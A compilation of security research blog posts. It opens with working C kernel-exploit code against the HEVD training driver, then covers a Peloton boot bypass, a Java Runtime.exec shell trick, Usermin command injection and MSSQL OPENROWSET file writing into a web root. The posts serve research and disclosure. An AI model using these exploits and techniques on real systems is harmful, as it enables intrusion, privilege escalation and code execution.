  // Spray 5000 objects to fill the new page
  for (int i = 0; i <= 5000; i++)
  {
    // Create the objects
    HANDLE tempHandle = CreateEventA(
      NULL,
      FALSE,
      FALSE,
      NULL
    );

    // Assign the handles to the array
    eventObjects[i] = tempHandle;
  }

  // Check to see if the first handle is a valid handle
  if (eventObjects[0] == NULL)
  {
    printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");

    // Close half of the handles
    for (int i = 0; i <= 5000; i += 2)
    {
      BOOL tempHandle1 = CloseHandle(
        eventObjects[i]
      );

      eventObjects[i] = NULL;

      // Error handling
      if (!tempHandle1)
      {
        printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
    }

    printf("[+] Poked holes in the new pool page!\n");

    // Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
    // kLFH should automatically fill the freed holes with the UAF objects
    DWORD bytesReturned;

    for (int i = 0; i < 2500; i++)
    {
      DeviceIoControl(
        driverHandle,
        0x00222053,
        NULL,
        0,
        NULL,
        0,
        &bytesReturned,
        NULL
      );
    }

    printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");

    // Close the rest of the event objects
    for (int i = 1; i <= 5000; i += 2)
    {
      BOOL tempHandle2 = CloseHandle(
        eventObjects[i]
      );

      eventObjects[i] = NULL;

      // Error handling
      if (!tempHandle2)
      {
        printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());
        exit(-1);
      }
    }

    // Array to store the buffer (output buffer for DeviceIoControl) and the base address
    unsigned long long outputBuffer[100];
    unsigned long long hevdBase;

    // Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
    // Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)

    for (int i = 0; i <= 100; i++)
    {
      // Return buffer
      DWORD bytesReturned1;

      DeviceIoControl(
        driverHandle,
        0x0022204f,
        NULL,
        0,
        &outputBuffer,
        sizeof(outputBuffer),
        &bytesReturned1,
        NULL
      );

    }

    printf("[+] Successfully triggered the out-of-bounds read!\n");

    // Parse the output
    for (int i = 0; i <= 100; i++)
    {
      // Kernel mode address?
      if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
      {
        printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
        printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);

        // Store the variable for future usage
        hevdBase = outputBuffer[i] + 0x880CC;
        break;
      }
    }
  }
}

void main(void)
{
  // Open a handle to the driver
  printf("[+] Obtaining handle to HEVD.sys...\n");

  HANDLE drvHandle = CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    0x0,
    NULL,
    OPEN_EXISTING,
    0x0,
    NULL
  );

  // Error handling
  if (drvHandle == (HANDLE)-1)
  {
    printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
    exit(-1);
  }
  else
  {
    memLeak(drvHandle);
  }
}

Conclusion

Kernel exploits from browsers, which are sandboxed, require such leaks to perform successful escalation of privileges. In part two of this series we will combine this bug with HEVD’s pool overflow vulnerability to achieve a read/write primitive and perform successful EoP! Please feel free to reach out with comments, questions, or corrections!

Peace, love, and positivity :-)

A New Program for Your Peloton – Whether You Like It or Not

By: Sam Quinn
16 June 2021 at 04:01
Connected Fitness

Executive Summary 

The McAfee Advanced Threat Research team (ATR) is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. As security researchers, something that we always try to establish before looking at a target is what our scope should be. More specifically, we often assume well-vetted technologies like network stacks or the OS layers are sound and instead focus our attention on the application layers or software that is specific to a target. Whether that approach is comprehensive sometimes doesn’t matter; and it’s what we decided to do for this project as well, bypassing the Android OS itself and with a focus on the Peloton code and implementations. During our research process, we uncovered a flaw (CVE-2021-33887) in the Android Verified Boot (AVB) process, which was initially out of scope, that left the Peloton vulnerable. 

For those that are not familiar with Peloton, it is a brand that has combined high end exercise equipment with cutting-edge technology. Its products are equipped with a large tablet that interfaces with the components of the fitness machine, as well as provides a way to attend virtual workout classes over the internet. “Under the hood” of this glossy exterior, however, is a standard Android tablet, and this hi-tech approach to exercise equipment has not gone unnoticed. Viral marketing mishaps aside, Peloton has garnered attention recently regarding concerns surrounding the privacy and security of its products. So, we decided to take a look for ourselves and purchased a Pelton Bike+.

Attempting to Backup 

One of the first things that we usually try do when starting a new project, especially when said projects involve large expenses like the Peloton, is to try to find a way to take a backup or system dump that could be used if a recovery is ever needed. Not all of our research techniques keep the device in a pristine state (we’d be poor hackers if they did)and having the ability to restore the device to its factory settings is a safety net that we try to implement on our targets 

Because we are working with a normal Android device with only the Peloton customizations running at the application layer, many of the processes used to back up an Android phone would also work with the Peloton. It is common in the Android custom ROM scene to use a custom recovery image that allows the user to take full flash dumps of each critical partition and provides a method to restore them later. In such communities, it often also goes without saying that the device must first be unlocked in order to perform any of these steps. While the Android OS allows users to flash these critical partitions, there are restrictions in place that typically prevent an attacker from gaining access to the “currently” running system. If an attacker was able to get their hands on an Android device with the goal of installing a rootkit, they would have to jump through some hoops. The first step that an attacker would need to take is to enable “Original Equipment Manufacturer (OEM) Unlocking”, which is a user mode setting within the “developer options” menu. Even with physical access to the bootloader, an attacker would not be able to “unlock” the Android device unless this setting is checked. This option is usually secured behind the user’s password, PIN, or biometric phone lock, preventing an attacker from accessing it easily. The second security measure in place is that even with the “OEM Unlocking” setting on, issuing commands to the bootloader to perform the unlock first causes all data on the Android device, including applications, files, passwords, etc., to be wiped. This way, even if an attacker did gain access to the Android device of an unsuspecting victim, they wouldn’t be able to install a rootkit or modify the existing kernel without deleting all the data, which both prevents personal data from falling into the attacker’s hands and makes it obvious the device has been tampered with. 

For this research effort, wresisted the urge to unlock the Peloton, as there are ways for apps to query the unlock status of a device within Android, and we wanted to ensure that any vulnerabilities we found weren’t the result of the device behaving differently due to it being unlocked. These discrepancies that arise from our research are usually identified by having two target devices: one to serve as the control and the other to serve as the test device. Unfortunately, we only had one Peloton to play with. Another issue was that the Peloton hardware is not very common and the developers of the aforementioned custom recovery images, like Team Win Recovery Project (TWRP), don’t create images for every device,  just the most common ones. So, the easy method of taking a backup would not only require unlocking the device but also trying to create our own custom recovery image 

This left us as at a crossroads. We could unlock the bootloader and root the device, granting us access to the flash memory block devices (raw interfaces to the flash partitions) internallywhich would allow us to create and restore backups as needed. However, as mentioned before, this would leave the bike in a recognizably “tampered” state. Alternatively, we could try to capture one of the bike’s Over-The-Air (OTA) updates to use as backup, but we would still need to “unlock” the device to actually flash the OTA image manually. Both options were less than ideal so we kept looking for other solutions. 

Android Verified Boot Process

Just as Secure Boot provides a security mechanism for properly booting the OS on Windows PCs, Android has implemented measures to control the boot process, called Android Verified Boot (AVB). According to Android’s documentation, AVB requires cryptographically verifying all executable code and data that is part of the Android version being booted before it is used. This includes the kernel (loaded from the boot partition), the device tree (loaded from the dtbo partition), system partition, vendor partition, and so on. 

The Peloton Bike+ ships with the default settings of “Verity Mode” set to trueas well as “Device Unlocked” and “Device Critical Unlocked” set to falsewhich is intended to prevent the loading of modified boot images and provide a way to determine if the device has been tampered with. This information was verified by running fastboot oem device-info on the Peloton, as demonstrated in Figure 1. 

 

Figure 1: OEM device info showing verity mode and unlocked status. 

To clarify, a simplified Android boot process can be visualized as follows: 


Figure 2: Simplified Android Boot Process 

If modified code is found at any of the stages in Figure 2, the boot process should abort or, if the device is unlocked, warn the user that the images are not verified and give the option to the user to abort the boot. 

Given that we defined our scope of this project to not include the Android boot process as a part of our research and verifying that Peloton has attempted to use the security measures provided by Android, we again found ourselves debating if a backup would be possible.  

In newer Android releases, including the Peloton, the update method uses Android’s Seamless System Updates (A/B). This update method no longer needs the “recovery” partition, forcing users who wish to use a custom recovery to use the fastboot boot command which will download and boot the supplied image. This is a temporary boot that doesn’t “flash“ or alter any of the flash partitions of the device and will revert to the previous boot image on restartSince this option allows for modified code to be executed, it is only available when the device is in an unlocked state and will error out with a message stating Please unlock device to enable this command, if attempted on a locked device.  

This is a good security implementation because if this command was always allowed, it would be very similar to the process of booting from a live USB on your PC, where you can login as a root user and have full control over the underlying system and components. 

Booting Modified Code 

This is where our luck or maybe naïveté worked to our advantage. Driven by our reluctance to unlock the device and our desire to make a backup, we tried to boot a generic TWRP recovery image just to see what would happen. The image ended up leaving us at a black screen, and since each recovery image needs to contain a small kernel with the correct drivers for the display, touch digitizer, and other devicespecific hardware, this was to be expectedWhat we didn’t expect, however, was for it to get past the fastboot boot command. While we didn’t get a custom recovery running, it did tell us one thingthe system was not verifying that the device was unlocked before attempting to boot a custom imageNormally this command would be denied on a “locked” device and would have just errored out on the fastboot command, as mentioned previously. 

It is also important to point out that despite having booted a modified image, the internal fuse had not been burned. These fuses are usually burned during the OEM unlocking process to identify if a device has allowed for a different “root of trust” to be installed. The burning of such a fuse is a permanent operation and a burnt fuse often indicates that the device has been tampered with. As shown in Figure 3, the “Secure Boot” fuse was still present, and the device was reporting a locked bootloader. 

Figure 3: Secure boot enabled with fused protection 

Acquiring an OTA Image 

This discovery was unexpected and we felt like we had stumbled upon a flaw that gave us the ability to finally take a backup of the device and leave the Peloton in an “untampered” state. Knowing that a custom image could be booted even with a “locked” bootloader, we began looking at ways to gather a valid boot image, which would contain the correct kernel drivers to facilitate a successful boot. If we could piece together the OTA update URL and just download an update package directly from Peloton, it would likely contain a boot image that we could modifyHaving the ability to modify a boot image would give us root and access to the blocked devices. 

Even with just ADB debugging enabled we were able to pull the Pelotonspecific applications from the device. We listed all the Peloton APKand sought out the ones that could help us get the OTA path, shown in Figure 4. 

Figure 4: Listing Peloton Specific Applications and Highlighting the one related to OTA Updates. 

Finding the name OTAService promising, we pulled down the APK and began to reverse-engineer it using JADX. After some digging, we discovered how the app was building the download URL string for OTA updateswhich would then be passed to beginDownload(), as seen in Figure 5. 

Figure 5OTA image path being constructed as “key” 

We also noticed quite a few Android log calls that could help us, such as the one right before the call to beginDownload(), so we used Android’s builtin logcat command and grepped the output for “OTA” as seen in Figure 6. Doing so, we were able to find which S3 bucket was used for the OTA updates and even a file manifest titled OTAConfig.json  

Figure 6: Relevant OTA logs in red 

Combining the information obtained from OTAService.apk and the logs, we were able to piece together the full path to the OTA images manifest file and names for each OTA zip file, as shown in Figure 7.  

Figure 7: Contents of OTAConfig.json 

Our next step was to extract the contents of the OTA update to get a valid boot.img file that would contain all the specific kernel drivers for the Peloton hardware. Since the Peloton is using AndroidA/B partitions, which facilitate seamless updates, the update packages were stored in a “payload.bin” format. Using the Android payload dumper tool, we were able to extract all of the images contained in the bin file. 

Modifying the Boot Image 

Once the boot.img was extracted, we needed a way to modify the initial kernel to allow us to gain root access on the device. Although there are a variety of ways to accomplish this, we decided to keep things simple and just use the Magisk installer to patch the boot.img file to include the “su” binary. With the boot.img patched, we were able to use the fastboot boot command again but this time passing it our patched boot.img file. Since the Verified Boot process on the Peloton failed to identify the modified boot image as tampered, the OS booted normally with the patched boot.img file. After this process was complete, the Peloton Bike+ was indistinguishable from its “normal” state under visual inspection and the process left no artifacts that would tip off the user that the Pelton had been compromised. But appearances can be deceiving, and in reality the Android OS had now been rootedallowing us to use the su” command to become root and perform actions with UID=0, as seen in Figure 8. 

Figure 8: Booting modified boot.img and executing whoami as Root 

Impact Scenarios 

As we just demonstrated, the ability to bypass the Android Verified Boot process can lead to the Android OS being compromised by an attacker with physical accessA worst-case scenario for such an attack vector might involve a malicious agent booting the Peloton with a modified image to gain elevated privileges and then leveraging those privileges to establish a reverse shell, granting the attacker unfettered root access on the bike remotely. Since the attacker never has to unlock the device to boot a modified image, there would be no trace of any access they achieved on the device. This sort of attack could be effectively delivered via the supply chain process. A malicious actor could tamper with the product at any point from construction to warehouse to delivery, installing a backdoor into the Android tablet without any way the end user could know. Another scenario could be that an attacker could simply walk up to one of these devices that is installed in a gym or a fitness room and perform the same attack, gaining root access on these devices for later use. The Pelobuddy interactive map in figure 9 below could help an attacker find public bikes to attack. 

Figure 9pelobuddy.com’s interactive map to help locate public Peloton exercise equipment. 

Once an attacker has root, they could make their presence permanent by modifying the OS in a rootkit fashion, removing any need for the attacker to repeat this step. Another risk is that an attacker could modify the system to put themselves in a man-in-the-middle position and sniff all network traffic, even SSL encrypted traffic, using a technique called SSL unpinning, which requires root privileges to hook calls to internal encryption functionality. Intercepting and decrypting network traffic in this fashion could lead to users personal data being compromised. Lastly, the Peloton Bike+ also has a camera and a microphone installed. Having remote access with root permissions on the Android tablet would allow an attacker to monitor these devices and is demoed in the impact video below. 

Disclosure Timeline and Patch 

Given the simplicity and criticality of the flaw, we decided to disclose to Peloton even as we continue to audit the device for remote vulnerabilities. We sent our vendor disclosure with full details on March 2, 2021 – shortly after, Peloton confirmed the issue and subsequently released a fix for it in software version “PTX14A-290”. The patched image no longer allows for the “boot” command to work on a user build, mitigating this vulnerability entirelyThe Peloton vulnerability disclosure process was smooth, and the team were receptive and responsive with all communications. Further conversations with Peloton confirmed that this vulnerability is also present on Peloton Tread exercise equipment; however, the scope of our research was confined to the Bike+.

Peloton’s Head of Global Information Security, Adrian Stone, shared the following “this vulnerability reported by McAfee would require direct, physical access to a Peloton Bike+ or Tread. Like with any connected device in the home, if an attacker is able to gain physical access to it, additional physical controls and safeguards become increasingly important. To keep our Members safe, we acted quickly and in coordination with McAfee. We pushed a mandatory update in early June and every device with the update installed is protected from this issue.”

We are continuing to investigate the Peloton Bike+, so make sure you stay up to date on McAfee’s ATR blogs for any future discoveries. 

The post A New Program for Your Peloton – Whether You Like It or Not appeared first on McAfee Blog.

Exploiting the hidden Saxon XSLT Parser in Ektron CMS

2 March 2015 at 13:54

Another vulnerability I came across was in Ektron CMS. It's a .NET-based Web CMS System. If you want to find running instances try "inurl:/workarea filetype:asmx" at Google. The interesting thing about is that Microsoft already reported the initial vulnerability as MSVR12-016 (CVE-2012-5357), but I found a different vector to exploit it.

Summary

From US CERT VU#110652:
Ektron Content Management System version 8.5, 8.7, and 9.0 contain a resource injection vulnerability by using an improperly configured XML parser. By default, Ektron utilizes the Microsoft XML parser to parse XSLT documents, which is not vulnerable. If an attacker specifies use of the Saxon XSLT parser instead, and sends it a specially crafted XSLT document, the attacker may be able to run arbitrary code at the privilege level of the application.

Vulnerability Details

During information gathering, I found several Web services exposed on the Ektron CMS system. One of them was
http://[host]/Workarea/ServerControlWS.asmx
Looking at the WSDL, there was the SOAP method ContentBlockEx, having a parameter that nearly jumped into my face: xslt.

If you can get your data parsed by a XSLT parser, that's almost like hitting the jackpot. The problem was that Ektron already patched the vulnerability by hardening the MSXML parser. Nevertheless, XXE was still possible - but I couldn't get any helpful information out of the system. There was also another vulnerability that allowed me to list directories. Finally, I found the directory with all .net DLL's. After browsing through the directory, I finally found something interesting. There were several saxon9*.dlls. From my former times, I could remember that Saxon allows me to parse XSLT. So I had a look at the documentation at Saxon Function Library.

Looking at the different namespaces, I found several interesting functions working with files, etc. After browsing through the Saxon documentation, I finally found an interesting paragraph Saxon Calling Static Methods in a .NET ClassFrom this, it seemed like I could call static functions of .net CRL classes from Saxon :-)

So I created the following XSLT template:


Putting it all together, the final SOAP request looks like this:

Vendor Response

I wasn't involved, although CERT tried to contact them with no luck.

The fix

Ektron released a Security Update 2 (Releases 8.02 SP5 to 9.10 SP1). To my amazement, Ektron told CERT the following:
This was patched via a cumulative security patcher that was made available Oct 9, 2013 that would apply the updates to versions 8.0.2 to 9.0. The current version of the patcher is available at: https://portal.ektron.com/News/Security/Security_Notice_-_11-25-14/ 8.7sp2 (released 8/16/2013), 9.0sp1 (released 8/19/2013), and 9.1 (released 8/28/2014) were all released with the fix in place. Subsequent service packs also contain the fixes for those versions
To be honest, I don't think this statement is true. What Ektron did in 2013 was to reconfigure Ektron CMS to expose the Web services only on localhost by default. An administrator can still reconfigure it. Nevertheless, with "Security Update 2", all the parser hardening was hopefully implemented. I haven't verified it yet because there is no public download available for the latest version.

$@|sh – Or: Getting a shell environment from Runtime.exec

9 March 2015 at 08:55

If you happen to have command execution via Java's Runtime.exec on a Unix system, you may already have noticed that it doesn't behave like a normal shell. Although simple commands like ls -al, uname -a, or netstat -ant work fine, more complex commands and especially commands with indispensable features like pipes, redirections, quoting, or expansions do not work at all.

Well, the reason for that is that the command passed to Runtime.exec is not executed by a shell. Instead, if you dig down though the Java source code, you'll end up in the UNIXProcess class, which reveals that calling Runtime.exec results in a fork and exec call on Unix platforms.

Nonetheless, I'll show you a way to still get commands executed in a proper shell.

For testing, we'll use this Java example:

We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is:


$ java Exec 'command arg1 arg2 ...'

Your first thought on a solution to this might be: "Ok, I'll just use sh -c command to execute command in the shell."

That is correct, but here is the catch: Since only the first argument following -c is interpreted as shell command, the whole shell command must be passed as a single argument. And if you take a closer look at how the string passed to Runtime.exec is processed, you'll see that Java uses a StringTokenizer that splits the command at any white-space character.

If you are thinking of quoting the command parameter string like uname -a as follows:


$ java Exec 'sh -c "uname -a"'

this won't work. Remember: We're not in a shell yet, and Runtime.exec does only take white-spaces as argument separators into account.

So, what is the other option that we have?

The key is in the sh -c command, but we won't execute the command directly but build a command that itself spawns another shell that then executes our command. Though it sounds complicated, we'll derive it step by step.

How it works

The secret key to this is the special parameter @, which expands to the positional parameters when referenced with $@, starting from parameter one:


$ java Exec 'sh -c $@'

But how do we pass the actual command? Well, if the shell is invoked with -c, any remaining arguments after the command argument are assigned to the positional parameters, starting with $0. So when $@ is expanded by the shell with the following invocation:


$ java Exec 'sh -c $@ 0 1 2 3 4 5'

It results in 1 2 3 4 5. The 0-th parameter does not appear in the expansion result as it, by convention, should be the file name associated with the file being executed. We can see the result by adding a echo in place of the $1 parameter:


$ java Exec 'sh -c $@ 0 echo 1 2 3 4 5'

Here the shell first expands $@ to echo 1 2 3 4 5 and then executes it.

But this is still not better than the simple sh -c command, as we still have no support of pipes, redirections, quoting or expansion.

The reason for this is that the $@ expansion does not result in a restart of the command interpretation.

The solution to a fully functional shell is sh's ability to allow the commands to be passed via standard input. So, if we use another echo to echo our command and pipe it to sh, we'll get our command executed by sh entirely:


$ java Exec 'sh -c $@|sh . echo command'

Now we have all shell features available!

The only thing to remember is that any white-space sequences vital in your command must be encoded somehow as otherwise it would be eaten by Java's StringTokenizer, e.g.:


$ java Exec 'sh -c $@|sh . echo /bin/echo -e "tab\trequired"'

And to anyone who is interested in what the process tree looks like:


$ java Exec 'sh -c $@|sh . echo ps ft'
PID TTY STAT TIME COMMAND
27109 pts/25 Ss 0:03 /bin/bash
6904 pts/25 Sl+ 0:00 \_ java Exec sh -c $@|sh . echo ps ft
6914 pts/25 S+ 0:00 \_ sh -c $@|sh . echo ps ft
6916 pts/25 S+ 0:00 \_ sh
6917 pts/25 R+ 0:00 \_ ps ft

CVE-2015-0935: PHP Object Injection in Bomgar Remote Support Portal

8 May 2015 at 18:48

Serialization is often used to convert objects into a string representation for communication or to save them for later use. However, deserialization in PHP has certain side-effects, which can be exploited by an attacker who is able to provide the data to be deserialized.

This post will give you an insight on the deserialization of untrusted data vulnerability in the Bomgar Remote Support Portal 14.3.1 (US CERT VU#978652, CVE-2015-0935), which is part of Bomgar's appliance-based remote support software. It covers details on the weakness of Deserializion of Untrusted Data (CWE-502) in PHP applications in general, as well as specific details on the vulnerability and its exploitation in the Bomgar Remote Support Portal 14.3.1.

Note that this post is not about the various bugs in the implementation of the unserialize function itself (see for example Sec Bug #67492, Sec Bug #68594, Sec Bug #68710, and Sec Bug #68942), but about the exploitation on the application level.

Summary

Description from US CERT VU#978652:

Bomgar Remote Support Portal version 14.3.1 and possibly earlier versions deserialize untrusted data without sufficiently verifying the validity of the resulting data. An unauthenticated attacker can inject arbitrary input to at least one vulnerable PHP file, and authenticated attackers can inject arbitrary input to multiple vulnerable PHP files. When malicious data is deserialized, arbitrary PHP code may be executed in the context of the PHP server process.

Vulnerability Details

The PHP function unserialize allows the creation of arbitrary object constructs of any class with arbitrary attributes of almost arbitrary types without any validation. During the deserialization, the lifetime of an object, and the interaction with the object, several methods, including so called magic methods, may get called using these arbitrarily definable attributes. An attacker may be able to utilize the functionality provided within these called methods to his benefit. For more information on deserialization in PHP, have a look at Serialization in the PHP Internals Book and Writing Exploits For Exotic Bug Classes: unserialize() by Stephen Coty of Alert Logic.

In Bomgar Remote Support Portal 14.3.1, unserialize is called several times with user provided data, among them there is one which can be called by an unauthenticated user.

Exploitation

The most challenging part of exploiting such a vulnerability is finding appropriate classes with effects beneficial for an attacker. Therefore, it solely depends on the available classes. If there are no classes with beneficial effects available, it is not exploitable.

Fortunately, there is at least one in Bomgar Remote Support Portal 14.3.1!

One way to exploit this vulnerability is by utilizing the Tracer class. It is used to write stack trace information to a log using a Logger instance, which wraps an instance of PEAR's Log class. By using a Log_file instance as an instance of Log, it is possible to write the arbitrary data <payload> to the arbitrary file <destination>.

A corresponding serialized representation of such an object construct may look like this (\0 represents a NUL byte):

Writing the data to the specified location is triggered by the log method call in the destructor of the Tracer class.

And this is what happens behind the curtain:

  • unserialize creates an instance of the Tracer class, the Logger class, and the Log_file class with the following structure (only relevant members are shown):
  • At the end of the runtime of the request, PHP calls the destructor __destruct of our Tracer object, which eventually calls the log method of the Log_file class with the following behavior:
    • The file specified in _filename gets opened in write mode, if not already opened (line 285-287)
    • The format of the line to be written to the log is specified by _lineFormat, i. e. our <payload> (line 293-295)
    • The log line gets written to the specified log file (line 303)

By injecting a Tracer object as specified, arbitrary data can be written or appended to an arbitrary file.

Additional Information on Exploitation

If the document root location of the web server is unknown, one can utilize PHP's autoload functionality, which allows the inclusion of a '*.php' file from any location as long as the path can be expressed in a class name with '_' instead of '/'.

For example, the deserialization of the following object representation would result in the local file inclusion of '/tmp/poc.php':

The exploitation can then be performed with two serialized objects:

  1. Writing a PHP payload to a known location like '/tmp/poc.php' using the Tracer object structure as mentioned above.
  2. Loading and executing the written PHP payload using an object with the class name like '_tmp_poc' as mentioned above.

Most of the vulnerable unserialize calls are only accessible after successful authentication. However, one is accessible without prior authentication; this requires a particular access token but can also be retrieved without authentication. I leave this as a challenge to the reader. ;-)

Course of events and 'cooperation' with Bomgar

The whole process of the disclosure of this vulnerability took longer than expected: The initial report submission of the vulnerability to US CERT was on 2014-11-14. They instantly replied that they wanted me to first contact Bomgar directly. So I wrote an e-mail to [email protected], asking for a contact person for a confidential disclosure of the vulnerability details. After one week without any reply, I asked US CERT on 2014-11-23 to do the coordination.

Fast forward: on 2015-02-12 I got an answer from US CERT, stating that they have established a contact at Bomgar. This was already 90 days after the initial report.

Immediately after that, I got contacted by Bomgar, asking me how I intended to use the vulnerability information. My reply was that I wanted to write this very blog post, which should contain details on the vulnerability and its exploitation in Bomgar Remote Support Portal 14.3.1. Since an exploitation of this kind of vulnerability depends on the available classes and their functionality, I wanted to show some source code snippets of the involved classes and methods. However, Bomgar insisted on not having any copyrighted source code published and also asked me to remove any explicit details on how to reach the unserialize function calls, especially the one accessible without authentication.

CVE-2015-2079: Arbitrary Command Execution in Usermin

20 May 2015 at 12:56

While performing a penetration test for a customer, I stumbled across a command execution vulnerability in Usermin that is pretty trivial to identify and to exploit. The interesting part is that this vulnerability survived for almost 13 years.

Introduction

According to the Usermin Homepage:

Usermin is a web-based interface for webmail, password changing, mail filters, fetchmail and much more. It is designed for use by regular non-root users on a Unix system, and limits them to tasks that they would be able to perform if logged in via SSH or at the console.

Therefore, Usermin can be seen as a web alternative for interactive machine access as a specific system user. But often times in real environments, Usermin is used to limit the user's rights to perform specific actions via the web, for example as a webmailer only. In this case, arbitrary command execution is definitely not a desired feature.

Nonetheless, enter CVE-2015-2079, which affects Usermin versions 0.980 (dating back to 2002-12-16) until 1.650 (latest unpatched version of 2015-02-16) by exploiting a specific behavior of Perl's open() function.

Summary

An authenticated user of Usermin can specify the path to an arbitrary file on the server that should be attached to any new email as a signature via the Signature file configuration in the Other file option.

This is due to the function get_signature in usermin/mailbox/mailbox-lib.pl, which calls open() without any prior validation:

For what it's worth, that alone poses a vulnerability. But according to an old bug report dating back to 2005, this is not a bug but a feature:

This is not really a bug, as normal Unix file permissions still apply, so really critical files like /etc/shadow cannot be used as a signature. Also, the feature for attaching server-side files could be used in the same way

Besides that, due to some specific behavior of the Perl function used to open the user specified file, it is possible to provide and execute shell commands.

Vulnerability Details

Perl's open() function can not just open regular files. If it gets called with just two arguments (i. e., open FILEHANDLE,EXPR), the second argument allows to specify additional behavior via prefixes and suffixes.

For example, the open mode can be specified with the prefix < for reading, > for writing to, or >> for appending to the file. And with the prefix or suffix | it is possible to start interprocess communication:

Perl's basic open() statement can also be used for unidirectional interprocess communication by either appending or prepending a pipe symbol to the second argument to open().

Since Usermin's call to open() uses the two arguments form, we can provide a shell command enclosed in pipes as the Signature file to execute the provided command whenever the user composes a new email and output is shown within the message text window or when the user edits the signature.

Example request as proof-of-concept with a sig_file_free parameter of value |uname -a| which gets sent to /uconfig_save.cgi by a POST request to usermin like this:

Now that the config file of the subsequent user is changed (see sig_file in ~/.usermin/mailbox/config), a GET request to /mailbox/reply_mail.cgi "includes" the evaluation of uname -a in the response in the textarea:

Similarily, the code can be triggered via a GET request to /mailbox/edit_sig.cgi:

There is also a handy proof-of-concept metasploit module for linux for your convenience.

The Fix

The Usermin developers fixed this vulnerability in version 1.660. Although the Usermin changelog does not mention it, the diff between the Usermin versions 1.650 and 1.660 shows that they chose to use the Webmin's custom open_readfile() function instead of Perl's built-in open() function, which basically prepends the given file path with < to open the file in read mode.

However, reading arbitrary files on the server is still possible.

Timeline

  • 2015-02-23: Identification of vulnerability
  • 2015-02-24: Details sent to Usermin developer
  • 2015-02-24: Acknowledge from Usermin developer, will be fixed in next version
  • 2015-02-25: Assignment of CVE-2015-2079 via [email protected]
  • 2015-03-16: Request for status update from Usermin developer
  • 2015-03-16: Answer: fixed version "Probably a couple of weeks" away
  • 2015-05-08: Request for status update from Usermin developer
  • 2015-05-08: Answer: fixed version aimed for next week
  • 2015-05-13: Patched Usermin version 1.660 released (without mentioning the bug)
  • 2015-05-20: Full disclosure 7 days after patch release

Reading/Writing files with MSSQL's OPENROWSET

9 June 2015 at 13:19

Unfortunately, Microsoft SQL Server's SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL's LOAD_FILE() function and INTO OUTFILE clause.

Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.

Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.

So the technique for writing files demonstrated here is a little different as it exploits a side-effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.

Checking Prerequisites

For looking up whether the current user has ADMINISTER BULK OPERATIONS permissions, you can use the HAS_PERMS_BY_NAME() function:

The the result should be 1.

Reading Files

Reading a file is pretty straight forward. When OPENROWSET is referenced in the FROM clause, it allows reading from the given file through a built-in BULK provider and returns it as a rowset. The following SELECT reads the C:\Windows\win.ini file and returns a rowset of one single character LOB:

This, of course, can also be used to leak hashes for pass-the-hash.

Writing Files

Writing to a file is a little more difficult. The common approach with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc distributed queries being enabled and has certain caveats like restriction to certain output formats depending on the selected OLE DB provider (e. g., CSV), previous existence of the output file, registration of linked servers, etc.

However, there is a way of writing arbitrary data to an arbitrary file without any of these restrictions or prerequisites by exploiting a side-effect of OPENROWSET.

The feature that is being exploited is the error reporting feature. The reference states the purpose of the ERRORFILE argument as follows:

ERRORFILE = 'file_name'
Specifies the file used to collect rows that have formatting errors and cannot be converted to an OLE DB rowset. These rows are copied into this error file from the data file "as is."

So any erroneous record from the input is directly written to the given error file as is.

The following SELECT reads from \\192.168.13.37\share\input.txt with the format specified in \\192.168.13.37\share\input.fmt and writes to C:\Inetpub\wwwroot\hello.aspx:

The input file input.txt has the following contents:

The non-XML format file input.fmt specifies one single column named BulkColumn of type CHAR with the length of 1 character (fourth column) and the last character in our input file (i. e., >) as terminator:

Since we specified the length with just one byte, a truncation error occurs and the whole record up to and including the final terminator (i. e., >) gets written to the error file:

Msg 4863, Level 16, State 1, Line 1
Bulk load data conversion error (truncation) for row 1, column 1 (BulkColumn).

For binary files, the XML format seems to be better as you can specify the length for both the field input and the column output and don't need a terminator. The following format file input.xml allows writing binary data up to 512 kB:

The length seems to be irrelevant and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file.

Compromised by Endpoint Protection

31 July 2015 at 06:23

In a recent research project, Markus Wulftange of Code White discovered several critical vulnerabilities in the Symantec Endpoint Protection (SEP) suite 12.1, affecting versions prior to 12.1 RU6 MP1 (see SYM15-007).

As with any centralized enterprise management solution, compromising a management server is quite attractive for an attacker, as it generally allows some kind of control over its managed clients. Taking control of the manager can yield a takeover of the whole enterprise network.

